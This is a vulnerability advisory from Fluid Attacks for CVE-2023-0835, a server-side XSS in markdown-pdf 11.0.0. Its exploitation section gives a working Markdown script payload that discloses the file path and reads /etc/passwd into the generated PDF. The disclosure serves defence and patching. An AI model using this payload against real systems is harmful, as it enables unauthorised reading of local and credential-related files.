markdown-pdf 11.0.0 - Local File Read via Server Side XSS

7.5

High

Discovered by 

Carlos Bello

Offensive Team, Fluid Attacks

Summary

Full name

markdown-pdf 11.0.0 - Local File Read

Code name

State

Public

Release date

Apr 10, 2023

Affected product

markdown-pdf

Affected version(s)

Version 11.0.0

Vulnerability name

Server Side XSS

Vulnerability type

Remotely exploitable

Yes

CVSS v3.1 vector string

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVSS v3.1 base score

7.5

Exploit available

Yes

CVE ID(s)

Description

markdown-pdf version 11.0.0 allows an external attacker to remotely obtain arbitrary local files. This is possible because the application does not validate the Markdown content entered by the user.

Vulnerability

This vulnerability occurs because the application does not validate that the Markdown content entered by the user is not malicious.

Exploitation

To exploit this vulnerability, we only need to send the following malicious Markdown to markdown-pdf:

Exploit.md

<script>
 // Path Disclosure
 document.write(window.location);
 // Arbitrary Local File Read
 xhr = new XMLHttpRequest;
 xhr.onload=function(){document.write((this.responseText))};
 xhr.open("GET","file:///etc/passwd");
 xhr.send();
</script>

Thus, when markdown-pdf parses the malicious Markdown, it will return the local file specified in the generated PDF.

Our security policy

We have reserved the ID CVE-2023-0835 to refer to this issue from now on. Disclosure policy

System Information

  • Version: electron-pdf 11.0.0

  • Operating System: GNU/Linux

Mitigation

There is currently no patch available for this vulnerability.

References

Timeline

Vulnerability discovered

Feb 20, 2023

Vendor contacted

Feb 20, 2023

Vendor replied

Feb 20, 2023

Public disclosure

Apr 10, 2023

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.